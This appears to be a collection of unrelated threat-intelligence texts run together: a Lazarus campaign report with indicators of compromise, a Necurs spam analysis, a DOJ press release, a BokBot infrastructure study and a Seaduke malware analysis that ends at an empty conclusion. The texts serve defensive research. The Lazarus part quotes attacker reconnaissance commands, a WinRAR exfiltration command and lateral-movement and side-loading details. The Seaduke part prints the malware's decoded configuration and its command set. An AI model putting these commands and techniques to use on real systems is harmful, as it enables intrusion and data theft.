### Expanded Target and Adoption of New Infection Vector
In May 2021, we observed that an IT company in Europe that provides solutions for monitoring network devices and servers was compromised by the same cluster. It’s believed that the Lazarus group had an interest in this company’s widely used software or its supply chain.
In addition, in early June 2021, the Lazarus group began utilizing a new infection mechanism against targets in South Korea. One thing that caught our attention was that the initial stage of the malware was executed by legitimate security software that is widely used in South Korea. It’s thought that the malware was spread through a vulnerability in this widely used software in South Korea.
### Infection Chain
Similar to the previous case, the initial infection vector created the downloader malware. Once connected to the C2 server, the downloader retrieved an additional payload based on the operator’s commands and executed it in memory. During this time, the BLINDINGCAN malware was used as a memory-resident backdoor. While the BLINDINGCAN malware has sufficient capabilities to control the victim, the actor manually implanted additional malware. It’s believed that the group aims to create an auxiliary method to control the victim. The retrieved loader’s export function (CMS_ContentInfo) was launched with command line parameters, which is crucial for decrypting the embedded next-stage payload and configuration. This process only proceeds if the length of the parameter is 38. Finally, the COPPERHEDGE malware, previously used by this cluster, was executed on the victim.
Almost one year later, in March 2022, we discovered that the same security program had been exploited to propagate similar downloader malware to several victims in South Korea. However, a different payload was delivered in this case. The C2 operator manually implanted a backdoor twice, and although we were unable to acquire the initially implanted backdoor, we assume it is the same as the backdoor in the following stage. The newly implanted backdoor is capable of executing a retrieved payload with named-pipe communication. In addition, the actor utilized side-loading to execute Mimikatz and used stealer malware to collect keystroke and clipboard data from users.
### Infection Chain
Around the same time, we uncovered evidence that one defense contractor in Latin America was compromised by the same backdoor. The initial infection vector was similar to what we’ve seen with other defense industry targets, involving the use of a Trojanized PDF reader with a crafted PDF file. However, in this particular case, the actor adopted a side-loading technique to execute the final payload. When the malicious PDF file is opened with the Trojanized PDF reader, the victim is presented with the same malware mentioned above, which is responsible for collecting and reporting the victim’s information, retrieving commands, and executing them using pipe communication mechanisms. The actor used this malware to implant additional payloads, including legitimate files for side-loading purposes.
- Legitimate file: `%APPDATA%\USOShared\CameraSettingsUIHost.exe`
- Malicious file: `%APPDATA%\USOShared\dui70.dll`
- Config file: `%APPDATA%\USOShared\4800-84dc-063a6a41c5`
- Command line: `%APPDATA%\USOShared\CameraSettingsUIHost.exe uTYNkfKxHiZrx3KJ`
### An Ongoing Attack Targeting a Defense Contractor with Updated Infection Tactics
In July 2022, we observed that the Lazarus group had successfully breached a defense contractor in Africa. The initial infection was a suspicious PDF application, which had been sent via the Skype messenger. After executing the PDF reader, it created both a legitimate file (CameraSettingsUIHost.exe) and a malicious file (DUI70.dll) in the same directory. This attack heavily relied on the same DLL side-loading technique that we observed in the previous case. The payload that was initially implanted and executed by the PDF reader was responsible for collecting and reporting the victim’s information, as well as retrieving an additional payload from the remote server named LPEClient. The Lazarus group used this malware several times in various campaigns. They have also utilized the same DLL side-loading technique to implant additional malware that is capable of backdoor operation. In order to move laterally across systems, the actor used an interesting technique called ServiceMove. This technique leverages the Windows Perception Simulation Service to load arbitrary DLL files. According to the author’s explanation, ‘a non-existing DLL file will be loaded every time when the Windows Perception Simulation Service is started’. By creating an arbitrary DLL in `C:\Windows\System32\PerceptionSimulation\` and starting the service remotely, the actors were able to achieve code execution as NT AUTHORITY\SYSTEM on a remote system. The actor created a `devobj.dll` file in the PerceptionSimulation folder and remotely executed the PerceptionSimulation service. Upon launching the `devobj.dll` file, it decrypted an encrypted backdoor file, `PercepXml.dat`, from the same folder and executed it in memory.
### Post-Exploitation
During our investigation of this campaign, we have gained extensive insight into the Lazarus group’s post-exploitation strategy. After initial infection, the operator executed numerous Windows commands to gather basic system information and attempt to find valuable hosts, such as an Active Directory server. Before moving laterally, the Lazarus group acquired Windows credentials using well-known methods and employed public techniques, such as ServiceMove. When the group completed its mission and began exfiltrating data, they mostly utilized the WinRAR utility to compress files and transmit them via C2 communication channels.
| Phase | Examples |
|----------------------|----------|
| Basic reconnaissance | Generally used Windows commands. For example: `cmd.exe /c netstat -ano | find TCP`, `systeminfo` |
| Finding high-value hosts | To find a connected Remote Desktop host it utilized Windows commands or queried the saved server list from the registry. `cmd.exe /c netstat -ano | findstr 3389`, `cmd.exe /c reg query HKEY_USERS\S-1-5-[redacted]-1001\Software\Microsoft\Terminal Server Client\Servers` |
| Acquiring login credentials | Utilizing crafted Mimikatz to dump login credentials or Responder tool to capture credentials. |
| Lateral movement | One common approach for launching commands on remote hosts is to use methods like SMB connection or the ServiceMove technique. |
| Exfiltration | Using WinRAR to archive files before sending the stolen file via C2 channel. `adobearm.exe a -hp1q2w3e4 -m5 -v2000000k “%Local AppData%\Adobe\SYSVOL800.CHK” “\\[redacted]FILE02.[redacted]\Projects\[redacted] Concept Demonstrator”` |
### Attribution
After tracking the DeathNote cluster and its origin, we have determined that the Lazarus group is responsible for this malware strain. Our conclusion is supported by many security vendors who also believe that the Lazarus group is linked to this malware. Furthermore, we have analyzed the delivery of Windows commands to the victim through the DeathNote malware and discovered that a significant number of commands were executed between GMT 00:00 and 07:00. Based on our knowledge of normal working hours, we can infer that the actor is located in either the GMT+08 or GMT+09 time zone.
Moreover, the actor left a Korean comment ‘정상호출’, which translates to ‘normal call’ in the C2 script. This further supports the hypothesis that Lazarus is a Korean-speaking actor.
In conclusion, the Lazarus group is a notorious and highly skilled threat actor. Our analysis of the DeathNote cluster reveals a rapid evolution in its tactics, techniques, and procedures over the years. As the Lazarus group continues to refine its approaches, it is crucial for organizations to maintain vigilance and take proactive measures to defend against its malicious activities. By staying informed and implementing strong security measures, organizations can reduce the risk of falling victim to this dangerous adversary.
### Indicators of Compromise
#### Beginning of Tracking DeathNote
**Malicious Documents**
- 265f407a157ab0ed017dd18cae0352ae
- 7a73a2261e20bdb8d24a4fb252801db7
- 7a307c57ec33a23ce9b5c84659f133cc
- ced38b728470c63abcf4db013b09cff7
- 9121f1c13955506e33894ffd780940cd
- 50b2154de64724a2a930904354b5d77d
- 8a05f6b3f1eb25bcbceb717aa49999cd
- ee73a772b72a5f3393d4bf577fc48efe
**Downloader**
- d1c652b4192857cb08907f0ba1790976
- 25b37c971fd7e9e50e45691aa86e5f0a
- 0493f40628995ae1b7e3ffacd675ba5f
- 8840f6d2175683c7ed8ac2333c78451a
- c278d6468896af3699e058786a8c3d62
- 9fd35bad075c2c70678c65c788b91bc3
- 59cb8474930ae7ea45b626443e01b66d
- 7af59d16cfd0802144795ca496e8111c
- cd5357d1045948ba62710ad8128ae282
- 77194024294f4fd7a4011737861cce3c
- e9d89d1364bd73327e266d673d6c8acf
- 0d4bdfec1e657d6c6260c42ffdbb8cab
- 5da86adeec6ce4556f477d9795e73e90
- 706e55af384e1d8483d2748107cbd57c
**Manipulated Installer**
- dd185e2bb02b21e59fb958a4e12689a7
**Installer**
- 4088946632e75498d9c478da782aa880 C:\Windows\igfxmon.exe
**Injector**
- dc9244206e72a04d30eeadef23713778 C:\Windows\system32\[random 2 bytes]proc.exe
**Backdoor**
- 735afcd0f6821cbd3a2db510ea8feb22 C:\Windows\system32\[random 2 bytes]svc.dll
#### Shifting Focus to the Defense Industry
**Malicious Documents**
- 4c239a926676087e31d82e79e838ced1 pubmaterial.docx
- 183ad96b931733ad37bb627a958837db Boeing_PMS.docx
- 9ea365c1714eb500e5f4a749a3ed0fe7 Boeing_DSS_SE.docx
- 2449f61195e39f6264d4244dfa1d1613 Senior_Design_Engineer.docx
- 880b263b4fd5de0ae6224189ea611023 LM_IFG_536R.docx.docx
- e7aa0237fc3db67a96ebd877806a2c88 Boeing_AERO_GS.docx
- 56470e113479eacda081c2eeead153bf boeing_spectrolab.docx
**Fetched Template**
- 2efbe6901fc3f479bc32aaf13ce8cf12 pubmaterial.dotm
- 65df11dea0c1d0f0304b376787e65ccb 43.dotm
- 0071b20d27a24ae1e474145b8efc9718 17.dotm
- 1f254dd0b85edd7e11339681979e3ad6 61.dotm
**DeathNote Downloader**
- f4b55da7870e9ecd5f3f565f40490996 onenote.db, thumbnail.db
- 2b02465b65024336a9e15d7f34c1f5d9 wsuser.db
- 11fdc0be9d85b4ff1faf5ca33cc272ed onenote.db
- f6d6f3580160cd29b285edf7d0c647ce
- 78d42cedb0c012c62ef5be620c200d43 wsuser.db
- 92657b98c2b4ee4e8fa1b83921003c74
- 075fba0c098d86d9f22b8ea8c3033207 wsdts.db
- 8fc7b0764541225e5505fa93a7376df4
- 7d204793e75bb49d857bf4dbc60792d3 2.dll
- eb2dc282ad3ab29c1853d4f6d09bec4f
- ca6658852480c70118feba12eb1be880 thumbnail.db
- c0a8483b836efdbae190cc069129d5c3 wsdts.db
- 14d79cd918b4f610c1a6d43cadeeff7b wsuser.db
- 1bd0ca304cdecfa3bd4342b261285a72
**Trojanized PDF Viewer**
- cbc559ea38d940bf0b8307761ee4d67b SumatraPDF.exe
- da1dc5d41de5f241cabd7f79fbc407f5 internal pdf viewer.exe
#### Expanded Target and Adoption of New Infection Vector
**Racket Downloader**
- b3a8c88297daecdb9b0ac54a3c107797 SCSKAppLink.dll
**BLINDINGCAN**
- b23b0de308e55cbf14179d59adee5fcb
- 64e5acf43613cd10e96174f36cb1d680
**COPPERHEDGE Loader**
- a43bdc197d6a273102e90cdc0983b0b9
**COPPERHEDGE**
- 97336f5ce811d76b28e23280fa7320b5
**Downloader Loader**
- f821ca4672851f02bead3c4bd23bed84 c:\officecache\officecert.ocx
**Racket Downloader**
- b974bc9e6f375f301ae2f75d1e8b6783 %public%\Libraries\SCSKAppLink.dll
**Stealer**
- fe549a0185813e4e624104d857f9277b %ProgramData%\GenICam\GenICamKDR.gic
**Backdoor Loader**
- 7b8960e2a22c8321789f107a7b83aa59 %ProgramData%\xilinx\xilinx.pkg
- 0ac90c7ad1be57f705e3c42380cbcccd %ProgramData%\USOShared\USOShare.cpl
**Mimikatz Loader**
- adf0d4bbefccf342493e02538155e611 %ProgramData%\USOShared\log.dll
#### An Ongoing Attack Targeting a Defense Contractor with Updated Infection Tactics
**Loader**
- 2bcf464a333d67afeb80360da4dfd5bb C:\Windows\system32\perceptionsimulation\devobj.dll
**ForestTiger (Backdoor)**
- 97524091ac21c327bc783fa5ffe9cd66 ProgramData\adobe\arm\lockhostingframework.dll
- 9b09ebf52660a9d6deca21965ce52ca1 %appdata%\adobe\arm\DUI70.dll
**Trojanized PDF Reader**
- 84cd4d896748e2d52e2e22d1a4b9ee46 SecurePDF.exe |
# Necurs Diversifies Its Portfolio
## Executive Summary
The Necurs botnet is the largest spam botnet in the world. Over the past year, it has been used primarily for the distribution of Locky ransomware and Dridex. Earlier this year, we wrote about how the Necurs botnet went offline and seemingly disappeared, taking most of the high volume Locky malspam with it. Talos recently identified a significant increase in the amount of spam emails originating from the Necurs botnet, indicating that it may have come back to life. Rather than distributing malware in the form of malicious attachments, it appears to have shifted back to penny stock pump-and-dump messages. This is not the first time that Necurs has been used to send high volume pump-and-dump emails. In analyzing previous telemetry data associated with these campaigns, we identified a similar campaign on December 20, 2016, shortly before the Necurs botnet went offline for an extended period. This strategic divergence from the distribution of malware may be indicative of a change in the way that attackers are attempting to economically leverage this botnet.
## Detailed Information
On March 20, 2017, we observed a marked increase in the amount of spam messages originating from the Necurs botnet. Interestingly, these messages don't appear to follow the same theme that we have grown accustomed to seeing from Necurs, which has been one of the primary distribution mechanisms for the Locky ransomware family and the Dridex banking trojan. Email campaigns associated with Locky and Dridex generally pose as transaction notifications and purport to contain shipping notifications, ACH transaction notifications, etc. In this particular campaign, the emails do not contain any hyperlinks to malicious servers or any malicious attachments and are simply claiming to be stock market alerts about a specific stock ticker ($INCT) that the messages claim is about to go higher.
The message was structured to entice the user into thinking that this was too good of an opportunity to pass up—a classic get rich quick scheme. First, the email begins with a simple introduction:
*"It's been a long time since I sent you my special newsletter containing a hot stock tip."*
It then claims that InCapta Inc ($INCT) is going to be bought out at $1.37 per share by DJI (a drone company) based on information purportedly obtained from colleagues at an M&A firm in Manhattan. The email explains that DJI is moving forward with the buyout because InCapta has:
*"revolutionized the drone industry by creating the first independent drones that can be dispatched to areas of interest such as crime scenes, car chases, wild fires, etc."*
Furthermore:
*"The network of drones operates by connecting to a cloud and complex algorithms efficiently dispatch the drones within moments of an incident being reported."*
*"This way the media outlet that owns the drones can be the first to the scene and get exclusive, live-streamed."*
To add urgency, they mention that the buyout is supposed to be announced on March 28, and recommend setting a buying limit by recommending purchasing before the stock reaches 20 cents a share to guarantee "massive returns." The email adds further urgency by claiming that DJI is going to pay 1000% more than the current value because:
*"This has the potential to literally change the world of news broadcasting as we know it and DJI (the most prominent drone-maker in the world) sees the potential of this technology which is why they are willing to pay $1.37 a share to acquire it. A premium of over 1,000% over Friday's closing price."*
As is normal when dealing with email campaigns, these messages were sent in relatively high volumes, with tens of thousands seen just over the course of the morning on March 20. In analyzing our email telemetry, we can clearly see a change in the volume of emails being seen versus when Necurs was offline. While the volume of messages was high, the spam campaign itself did not appear to last long at all, with the majority of messages sent over the course of only a couple of hours.
The stock ticker in question appears to be associated with InCapta Inc., a mobile application development company. The stock has seen a significant increase in the volume of shares being traded. While analyzing this particular spam campaign, we observed that the volume of shares being traded reached over 1 million shares (the total later in the day was over 4.5 million shares), which is exponentially higher than the average volume of shares traded.
Shortly after analyzing this initial campaign, we observed a second higher volume spam campaign within our SpamCop telemetry. Interestingly enough, the stock price also increased around the time this second wave of spam emails was being sent. This second email campaign was very similar to the first but contained a slightly different subject and message body.
## Historical Necurs Campaigns
On September 21, 2016, Talos published a blog post outlining the "Rising Tides of Spam," which detailed the increase of spam emails sent by Necurs in the summer of 2016. These emails often carried Dridex or Locky malware variants, delivering millions of messages per day to inboxes around the globe.
In late December 2016, however, this email flow suddenly stopped, and email volume reduced to less than half of the flow typical of Necurs infrastructure. During this downtime, our spam block lists have been averaging 50K addresses. The addresses being blocked spiked to over 150K during these new campaigns. This spike is reflected in the email volume from March 20, 2017, discussed earlier.
But does Necurs have a history of sending pump-and-dump spam? Prior to the arrests in early 2016 which led to a quiet period of low botnet activity, Necurs had often sent different pump-and-dump stock scams. Just before this most recent downtime began, we saw a moderate amount of pump-and-dump scam email volume coming through our data sources on December 20, 2016. These scam messages urged recipients to buy $SWRM and had email subjects similar to the following:
- "Read Now if you want a stock that will more than double by Christmas."
- "This stock will quadruple before Christmas. Time to buy now!"
This December 20 campaign shares headers and attributes similar to the March 20 campaign, indicating that the December 20 campaign was also facilitated by the Necurs botnet. One such attribute is the X-PHP-Originating-Script header found in emails from the pump-and-dump campaigns.
`X-PHP-Originating-Script: 1001:Sendmail.php`
This header does not exist in the emails sent during the massive 2016 malware campaigns that were distributing Locky and Dridex, however, revealing behind-the-scenes differences between Necurs' services and infrastructure. On the other hand, both of these campaign types share common recipients, hinting at the fact that Necurs operators may use a shared database of email addresses even when clients request different services.
## Conclusion
Necurs is a good example of how over time attackers may change their methodologies as well as the strategies they use to monetize systems under their control. Botnets like Necurs represent one vector that Talos continues to monitor for activity and changes in attack techniques. As threats continue to change and evolve, Talos will continue to monitor the evolving threat landscape to ensure that our customers remain protected against any new threats. Talos will continue to monitor the Necurs botnet for signs that it has once again been activated, for whatever purposes it may be used. |
# Joshua Adam Schulte Charged with the Unauthorized Disclosure of Classified Information and Other Offenses Relating to the Theft of Classified Material from the Central Intelligence Agency
June 18, 2018
Department of Justice
Office of Public Affairs
FOR IMMEDIATE RELEASE
John C. Demers, Assistant Attorney General for National Security, Geoffrey S. Berman, United States Attorney for the Southern District of New York, and William F. Sweeney Jr., Assistant Director-in-Charge of the New York Field Office of the Federal Bureau of Investigation (“FBI”), announced today that Joshua Adam Schulte was charged in a 13-count Superseding Indictment (the “Indictment”) in connection with his alleged theft of classified national defense information from the Central Intelligence Agency (“CIA”) and the transmission of that material to an organization that purports to publicly disseminate classified, sensitive, and confidential information (“Organization-1”). The Indictment also charges Schulte with the receipt, possession, and transportation of child pornography, as well as criminal copyright infringement. Schulte, who is presently detained on the child pornography charges, will be arraigned by U.S. District Judge Paul A. Crotty.
“Leaks of classified information pose a danger to the security of all Americans,” said Assistant Attorney General Demers. “It adds insult to injury when, as alleged here, the leaks come from former government officials in whom Americans placed their sacred trust. The National Security Division, alongside our partners in the Intelligence Community, will not waver in our commitment to pursue and hold accountable these officials, and I commend all those at the Department of Justice and the FBI who have worked diligently to investigate this matter and bring these charges.”
"Joshua Schulte, a former employee of the CIA, allegedly used his access at the agency to transmit classified material to an outside organization,” said Manhattan U.S. Attorney Geoffrey S. Berman. “During the course of this investigation, federal agents also discovered alleged child pornography in Schulte’s New York City residence. We and our law enforcement partners are committed to protecting national security information and ensuring that those trusted to handle it honor their important responsibilities. Unlawful disclosure of classified intelligence can pose a grave threat to our national security, potentially endangering the safety of Americans.”
“As alleged, Schulte utterly betrayed this nation and downright violated his victims. As an employee of the CIA, Schulte took an oath to protect this country, but he blatantly endangered it by the transmission of Classified Information,” said Assistant Director-in-Charge William F. Sweeney, Jr. “To further endanger those around him, Schulte allegedly received, possessed, and transmitted thousands of child pornographic photos and videos. In an effort to protect this nation against crimes such as these, the FBI's Counterintelligence Division in New York will continue to keep our mission at the forefront of our investigations in protecting the American public."
According to the Indictment, other court filings, and statements made during court proceedings: On March 7, 2017, Organization-1 released on the Internet classified national defense material belonging to the CIA (the “Classified Information”). In 2016, Schulte, who was then employed by the CIA, stole the Classified Information from a computer network at the CIA and later transmitted it to Organization-1. Schulte also intentionally caused damage without authorization to a CIA computer system by granting himself unauthorized access to the system, deleting records of his activities, and denying others access to the system. Schulte subsequently made material false statements to FBI agents concerning his conduct at the CIA.
Schulte was previously arrested on August 24, 2017, on charges relating to his receipt, possession, and transportation of approximately ten thousand images and videos of child pornography. In March 2017, members of the FBI had searched Schulte’s residence in New York, New York, pursuant to a search warrant and recovered, among other things, multiple computers, servers, and other portable electronic storage devices, including Schulte’s personal desktop computer (the “Personal Computer”). On the Personal Computer, FBI agents found an encrypted container (the “Encrypted Container”), which held over 10,000 images and videos of child pornography. The Encrypted Container with the child pornography files was identified by FBI computer scientists beneath three layers of password protection on the Personal Computer. Each layer, including the Encrypted Container, was unlocked using passwords previously used by Schulte on one of his cellphones. Moreover, FBI agents identified Internet chat logs in which Schulte and others discussed their receipt and distribution of child pornography. FBI agents also identified a series of Google searches conducted by Schulte in which he searched the Internet for child pornography.
Schulte, 29, of New York, New York, is charged with one count each of (i) illegal gathering of national defense information, (ii) illegal transmission of lawfully possessed national defense information, (iii) illegal transmission of unlawfully possessed national defense information, (iv) unauthorized access to a computer to obtain classified information, (v) theft of Government property, (vi) unauthorized access of a computer to obtain information from a Department or Agency of the United States, (vii) causing transmission of a harmful computer program, information, code, or command, (viii) making material false statements to representatives of the FBI, (ix) obstruction of justice, (x) receipt of child pornography, (xi) possession of child pornography, (xii) transportation of child pornography, and (xiii) copyright infringement. A chart containing the charges and maximum penalties is below. The maximum potential sentences in this case are prescribed by Congress and are provided here for informational purposes only, as any sentencing of the defendant will be determined by the judge.
Mr. Berman praised the outstanding investigative efforts of the FBI. The prosecution of this case is being handled by the Office’s Terrorism and International Narcotics Unit. Assistant U.S. Attorneys Sidhardha Kamaraju and Matthew Laroche are in charge of the prosecution, with assistance from Trial Attorney Scott McCulloch of the National Security Division’s Counterintelligence and Export Control Section. |
# RedLine Stealer Delivered Through FTP
I published the following diary on isc.sans.edu: “RedLine Stealer Delivered Through FTP“: Here is a piece of malicious Python script that injects a RedLine stealer into its own process. Process injection is a common attacker’s technique these days (for a long time already). The difference, in this case, is that the payload is delivered through FTP! It’s pretty unusual because FTP is today less and less used for multiple reasons (lack of encryption by default, complex to filter with those passive/active modes). Support for FTP has even been disabled by default in Chrome starting with version 95! But FTP remains a common protocol in the IoT/Linux landscape with malware families like Mirai. My honeypots still collect a lot of Mirai samples on FTP servers. I don’t understand why the attacker chose this protocol because, in most corporate environments, FTP is not allowed by default (and should definitely not be!). |
# Tracking BokBot (IcedID) Infrastructure
BokBot (also known as IcedID) started life as a banking trojan using man-in-the-browser attacks to steal credentials from online banking sessions and initiate fraudulent transactions. Over time, the operator(s) of BokBot have also developed its use as a delivery mechanism for other malware, in particular ransomware.
In the past, BokBot was primarily distributed via the Emotet botnet. Since the takedown of Emotet earlier this year, we have been tracking BokBot to see how the actors might react to and seek to exploit the situation for personal gain. Over recent months, we have been posting BokBot IOCs to our Twitter account (@teamcymru_S2) as we identify them. However, in this blog, we want to share some of our broader techniques, as well as a brief insight into our recent view of the upward management of BokBot infrastructure. All ‘Tier 1’ BokBot domains and hosting IP addresses, which we have identified over the past six months, are available through our public GitHub.
## Passive DNS
Our research started with a list of BokBot controller domains, identified in a blog post by FireEye in February:
- colombosuede[.]club
- colosssueded[.]top
- golddisco[.]top
- june85[.]cyou
Pivoting on these domain names within our Passive DNS (PDNS) data holdings, we were able to identify several dozen linked domains, as well as a handful of ‘Tier 1’ hosting IP addresses. A summary of these findings is illustrated in Figure 1 below.
All of the domains we identified in this process used relatively uncommon top-level domains (TLDs) and were registered through domain name registrars NameSilo and Porkbun. The majority of the Tier 1 IP addresses we identified were assigned to either Digital Ocean or M247. These three elements (TLD, domain registrar, and hosting provider) provide us with a repeating pattern, which gives us a degree of confidence that the identified domains are related.
## Certificate and Banner Information
Looking more closely at the Tier 1 IP addresses hosting these domains, more patterns begin to emerge. Firstly, these IP addresses host a self-signed X.509 certificate with the subject: CN=localhost, C=AU, ST=Some State, O=Internet Widgits Pty Ltd. Whilst not unique to BokBot hosts, the repeated appearance of this certificate provides another indication that identified infrastructure is linked.
Secondly, we often observed banner information on these IP addresses indicating the use of OpenResty (a web platform based on Nginx). OpenResty has previously been identified as a tool favoured by the BokBot operator(s) for management activities – dating back to 2017.
## Network Traffic Analysis
Next, we utilized our network traffic data holdings to look for common peers amongst the Tier 1 IP addresses. Using this methodology, we identified several Tier 2 IP addresses which were used to relay traffic from the Tier 1 IP addresses over TCP/443. The Tier 2 IP addresses hosted banner information indicating the use of OpenResty, similar to the Tier 1 IP addresses.
We subsequently discovered these Tier 2 IP addresses were exchanging network traffic with dozens of previously unknown Tier 1 IP addresses, which we then enriched with PDNS data to identify further BokBot domains. This process becomes repeatable – pivoting between network traffic and PDNS data until all ‘new’ infrastructure identifications are exhausted.
A common attribute amongst the Tier 2 IP addresses was the hosting of an X.509 certificate with a CN value of ‘main.info’. This certificate was first observed on IP 185.103.110.172, assigned to Creanova Hosting Solutions Ltd in Finland, and subsequently observed on a further sixteen Tier 2 IP addresses.
| IP Address | Cert CN | ASN | Geolocation |
|--------------------|-------------|---------------------------------------|-------------|
| 5.101.0.243 | main.info | PINDC | Russia |
| 5.101.0.245 | main.info | PINDC | Russia |
| 31.184.192.39 | main.info | PINDC | Russia |
| 31.184.193.142 | main.info | PINDC | Russia |
| 31.184.193.17 | main.info | PINDC | Russia |
| 46.30.42.185 | main.info | EUROBYTE | Russia |
| 80.66.83.166 | main.info | TRUENETWORK | Poland |
| 185.186.141.140 | main.info | ASKONTEL | Russia |
| 176.9.19.209 | main.info | HETZNER | Germany |
| 45.128.151.15 | main.info | ITL-LV | Latvia |
| 146.185.215.18 | main.info | GCORE | Russia |
| 95.215.0.211 | main.info | PINDC | Russia |
| 45.143.138.72 | main.info | GARANT-PARK-INTERNET | Russia |
| 195.19.192.49 | main.info | DCE-AS | Russia |
| 95.217.51.27 | main.info | HETZNER | Finland |
| 185.18.54.134 | main.info | WORLDSTREAM | Spain |
We observed the Tier 2 IP addresses in the table being used in the management of BokBot infrastructure over a number of months. However, on 29 April 2021, we noticed a significant drop-off in activity, which has remained consistent to the time of publishing.
## Conclusion
In conclusion, while BokBot operations may have been temporarily impacted by the Emotet takedown, our analysis shows they are currently running a vast and active network which encompasses upwards of 1,500 domains hosted on over 250 Tier 1 IP addresses. We hope that the releasing of these indicators proves helpful in identifying and mitigating existing BokBot activities and also in disrupting the future operations of the BokBot actor(s). |
# Unit 42 Technical Analysis: Seaduke
By Josh Grunzweig
July 14, 2015
Earlier this week, Symantec released a blog post detailing a new Trojan used by the ‘Duke’ family of malware. Within this blog post, a payload containing a function named ‘forkmeiamfamous’ was mentioned. While performing some research online, Unit 42 was able to identify the following sample, which is being labeled as ‘Trojan.Win32.Seadask’ by a number of anti-virus companies.
**MD5:** A25EC7749B2DE12C2A86167AFA88A4DD
**SHA1:** BB71254FBD41855E8E70F05231CE77FEE6F00388
**SHA256:** 3EB86B7B067C296EF53E4857A74E09F12C2B84B666FC130D1F58AEC18BC74B0D
**Compile Timestamp:** 2013-03-23 22:26:55
**File type:** PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
Our analysis has turned up more technical details and indicators on the malware itself that aren’t mentioned in Symantec’s post. Here are some of our observations:
## First Layer of Obfuscation
Once the UPX packer is removed from the malware sample, it becomes quickly apparent that we’re dealing with a sample compiled using PyInstaller. This program allows an individual to write a program using the Python scripting language and convert it into an executable for various platforms. The following subset of strings that were found within the UPX-unpacked binary confirms our suspicions.
```
sys.path.append(r"%s")
del sys.path[:]
import sys
PYTHONHOME
PYTHONPATH
Error in command: %s
sys.path.append(r"%s?%d")
_INTERNAL ERROR: cannot create temporary directory!
WARNING: file already exists but should not: %s
Error creating child process!
Cannot GetProcAddress for PySys_SetObject
PySys_SetObject
```
Because the sample was written in Python originally, we’re able to extract the underlying code. A tool such as ‘PyInstaller Extractor’ can be used to extract the underlying pyc files present within the binary.
We can then use a tool such as uncompyle2 to convert the Python byte-code into the original source code. Once this process is completed, we quickly realize that the underlying Python code has been obfuscated.
## Second Layer of Obfuscation
Tracing through the obfuscated code, we identify an ‘exec(ZxkBDKLakV)’ statement, which will presumably execute some Python code. Tracing further, we discover that this string is generated via appending a number of strings to the ‘ZxkBDKLakV’ variable. Finally, we find that after this string is created, it is base64-decoded and subsequently decompressed using the ZLIB library.
The following simple Python code can be used to circumvent this layer of obfuscation:
```python
import sys, re, base64, zlib
if len(sys.argv) != 2:
print "Usage: python %s [file]" % __file__
sys.exit(1)
f = open(sys.argv[1], 'rb')
fdata = f.read()
f.close()
# Set this accordingly
variable = "ZxkBDKLakV"
regex = "%s \+= ([a-zA-Z0-9]+)\n" % variable
out = ""
for x in re.findall(regex, fdata):
regex2 = "%s = \"([a-zA-Z0-9\+\/]+)\"" % x
for x1 in re.findall(regex2, fdata):
out += x1
o = base64.b64decode(out)
print zlib.decompress(o)
```
The remaining Python code still appears to be obfuscated; however, overall functionality can be identified.
## Final Payload
As we can see below, almost all variable names and class names have been obfuscated. Using a little brainpower and search/replace, we can begin identifying and renaming functionality within the malware. A cleaned-up copy of this code can be found on GitHub. One of the first things we notice is a large blob of base64-encoded data, which is additionally decompressed using ZLIB. Once we decode and decompress this data, we are rewarded with a JSON object containing configuration data for this malware:
```json
{
"first_run_delay": 0,
"keys": {
"aes": "KIjbzZ/ZxdE5KD2XosXqIbEdrCxy3mqDSSLWJ7BFk3o=",
"aes_iv": "cleUKIi+mAVSKL27O4J/UQ=="
},
"autoload_settings": {
"exe_name": "LogonUI.exe",
"app_name": "LogonUI.exe",
"delete_after": false
},
"host_scripts": ["http://monitor.syn[.]cn/rss.php"],
"referer": "https://www.facebook.com/",
"user_agent": "SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)",
"key_id": "P4BNZR0",
"enable_autoload": false
}
```
This configuration object provides a number of clues and indicators about the malware itself. After this data is identified, we begin tracing execution of the malware from the beginning. When the malware is initially run, it will determine on which operating system it is running. Should it be running on a non-Windows system, we see a call to the infamous ‘forkmeiamfamous’ method. This method is responsible for configuring a number of Unix-specific settings and forking the process.
Continuing along, we discover that this malware has the ability to persist using one of the following techniques:
1. Persistence via PowerShell
2. Persistence via the Run registry key
3. Persistence via a .lnk file stored in the Startup directory
The malware copies itself to a file name referenced in the JSON configuration.
After the malware installs itself, it begins making network requests. All network communications are performed over HTTP for this particular sample; however, it appears to support HTTPS as well. When the malware makes the initial outbound connection, a specific Cookie value is used.
The Cookie value contains encrypted data. The base64-encoded data is parsed from the Cookie value (padding is added as necessary).
```
EBJhZTlKiqN8nYWejKh7UpDycPlcrGMEcTE=
```
The resulting decoded data is shown below.
```
\x10\x12ae9J\x8a\xa3|\x9d\x85\x9e\x8c\xa8{R\x90\xf2p\xf9\\\xacc\x04q1
```
The underlying data has the following characteristics. XORing the first single character against the second character identifies the length of the random string. Using the above example, we get the following.
- **First Character:** '\x10'
- **Second Character:** '\x12'
- **String Length (16 ^ 18):** 2
- **Random String:** 'ae'
- **Encrypted Data:** '9J\x8a\xa3|\x9d\x85\x9e\x8c\xa8{R\x90\xf2p\xf9\\\xacc\x04q1'
Finally, the encrypted data is encrypted using the RC4 algorithm. The key is generated by concatenating the previously used random string with the new one and taking the SHA1 hash of this data. This same key is used to decrypt any response data provided by the server. The server attempts to mimic an HTML page and provides base64-encoded data within the response.
Data found within tags in the HTML response is joined together and the white space is removed. This data is then base64-decoded with additional characters (‘-_’) prior to being decrypted via RC4 using the previously discussed key. After decryption occurs, the previous random string used in key generation is updated with the random string. In doing so, the attackers have ensured that no individual HTTP session can be decrypted without seeing the previous session. If the decrypted data does not produce proper JSON data, Seaduke will discard it and enter a sleep cycle. Otherwise, this JSON data will be parsed for commands. The following commands have been identified in Seaduke.
| Command | Description |
|------------------|--------------------------------------------------|
| cd | Change working directory to one specified |
| pwd | Return present working directory |
| cdt | Change working directory to %TEMP% |
| autoload | Install malware in specified location |
| migrate | Migrate processes |
| clone_time | Clone file timestamp information |
| download | Download file |
| execw | Execute command |
| get | Get information about a file |
| upload | Upload file to specified URL |
| b64encode | Base64-encode file data and return result |
| eval | Execute Python code |
| set_update_interval | Update sleep timer between main network requests |
| self_exit | Terminate malware |
| seppuku | Terminate and uninstall malware |
In order for the ‘self_exit’ or ‘seppuku’ commands to properly execute, the attackers must supply a secondary argument of ‘YESIAMSURE’.
## Conclusion
